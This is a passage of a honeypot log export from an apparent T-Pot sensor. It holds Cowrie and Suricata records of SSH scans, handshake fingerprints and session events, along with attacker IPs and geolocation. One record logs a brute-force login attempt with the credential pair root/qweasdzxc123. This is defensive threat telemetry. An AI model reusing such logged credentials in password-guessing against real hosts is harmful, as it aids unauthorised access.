yLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 23328, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:29:50.139166Z", "@timestamp": "2021-09-20T11:29:50.139Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......M.3.6A...c...W.$...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30551	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:36:01.759043+03	2021-09-20 14:45:03.307141+03	{"_id": "aQb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.session.closed", "message": "Connection lost after 60 seconds", "session": "5844e5d6f1e2", "@version": "1", "duration": 60.90743708610535, "timestamp": "2021-09-20T11:36:01.759043Z", "@timestamp": "2021-09-20T11:36:01.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29804	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:49.850603+03	2021-09-20 14:30:04.605524+03	{"_id": "TQb4AnwBvYTbRNuEKzjs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 23328, "timestamp": "2021-09-20T11:29:49.850603", "@timestamp": "2021-09-20T11:29:49.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29805	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:29:41.940822+03	2021-09-20 14:30:04.606524+03	{"_id": "Ogb4AnwBvYTbRNuECzh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:29:41.424636+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 196116539079356, "payload": "AAADzAYUYMJTPnC6YOmMC5UpB8VfzAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 60216, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:29:41.940822Z", "@timestamp": "2021-09-20T11:29:41.940Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......`.S>p.`....).._....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29806	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:29:43.050787+03	2021-09-20 14:30:04.607524+03	{"_id": "PQb4AnwBvYTbRNuEDTi8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/qweasdzxc123] failed", "session": "e8c096fcbe9b", "@version": "1", "password": "qweasdzxc123", "username": "root", "timestamp": "2021-09-20T11:29:43.050787Z", "@timestamp": "2021-09-20T11:29:43.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29807	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:29:44.314392+03	2021-09-20 14:30:04.609523+03	{"_id": "Pwb4AnwBvYTbRNuEFTiN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e8c096fcbe9b", "@version": "1", "duration": 2.633107900619507, "timestamp": "2021-09-20T11:29:44.314392Z", "@timestamp": "2021-09-20T11:29:44.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29808	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:29:38.170242+03	2021-09-20 14:30:04.610524+03	{"_id": "Igb3AnwBvYTbRNuE-jhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2129 (192.168.176.2:22) [session: 1e103722d25a]", "session": "1e103722d25a", "@version": "1", "protocol": "ssh", "src_port": 2129, "dest_port": 22, "timestamp": "2021-09-20T11:29:38.170242Z", "@timestamp": "2021-09-20T11:29:38.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29809	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:29:38.126545+03	2021-09-20 14:30:04.612523+03	{"_id": "Iwb3AnwBvYTbRNuE-jhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "cec82e15ccc3", "@version": "1", "duration": 1.7310094833374023, "timestamp": "2021-09-20T11:29:38.126545Z", "@timestamp": "2021-09-20T11:29:38.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30712	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:35.569624+03	2021-09-20 14:45:03.529141+03	{"_id": "cwb_AnwBvYTbRNuERD4N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18757, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 641448844177688, "@version": "1", "in_iface": "enp5s0", "src_port": 42572, "dest_port": 53, "timestamp": "2021-09-20T11:37:35.569624Z", "@timestamp": "2021-09-20T11:37:35.569Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29810	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:29:38.173013+03	2021-09-20 14:30:04.613524+03	{"_id": "JAb3AnwBvYTbRNuE-jhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1e103722d25a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:38.173013Z", "@timestamp": "2021-09-20T11:29:38.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29811	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:29:37.931281+03	2021-09-20 14:30:04.614523+03	{"_id": "Jgb3AnwBvYTbRNuE-zjd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:29:37.931281Z", "@timestamp": "2021-09-20T11:29:37.931Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29812	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:29:41.932472+03	2021-09-20 14:30:04.615524+03	{"_id": "Owb4AnwBvYTbRNuECzh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 196116539079356, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 60216, "dest_port": 22, "timestamp": "2021-09-20T11:29:41.932472Z", "@timestamp": "2021-09-20T11:29:41.932Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29813	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:29:43.077033+03	2021-09-20 14:30:04.617523+03	{"_id": "PAb4AnwBvYTbRNuEDTi8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "1e103722d25a", "@version": "1", "duration": 4.90430760383606, "timestamp": "2021-09-20T11:29:43.077033Z", "@timestamp": "2021-09-20T11:29:43.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29814	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:29:52.683925+03	2021-09-20 14:30:04.618525+03	{"_id": "UAb4AnwBvYTbRNuENDjR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c0a2ea2eb711", "@version": "1", "duration": 2.834606170654297, "timestamp": "2021-09-20T11:29:52.683925Z", "@timestamp": "2021-09-20T11:29:52.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29815	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:29:54.799917+03	2021-09-20 14:30:04.619524+03	{"_id": "Ugb4AnwBvYTbRNuEPDii", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "1408bad53d51", "@version": "1", "duration": 180.28410863876343, "timestamp": "2021-09-20T11:29:54.799917Z", "@timestamp": "2021-09-20T11:29:54.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29816	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:08.913027+03	2021-09-20 14:45:02.202142+03	{"_id": "lQb4AnwBvYTbRNuEczhb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:59944 (192.168.176.2:22) [session: acb8c44ea492]", "session": "acb8c44ea492", "@version": "1", "protocol": "ssh", "src_port": 59944, "dest_port": 22, "timestamp": "2021-09-20T11:30:08.913027Z", "@timestamp": "2021-09-20T11:30:08.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29817	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:30:08.80133+03	2021-09-20 14:45:02.205142+03	{"_id": "lgb4AnwBvYTbRNuEczhb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b422715889bc", "@version": "1", "timestamp": "2021-09-20T11:30:08.801330Z", "@timestamp": "2021-09-20T11:30:08.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29818	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:09.043556+03	2021-09-20 14:45:02.207142+03	{"_id": "lwb4AnwBvYTbRNuEczhb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "acb8c44ea492", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:30:09.043556Z", "@timestamp": "2021-09-20T11:30:09.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
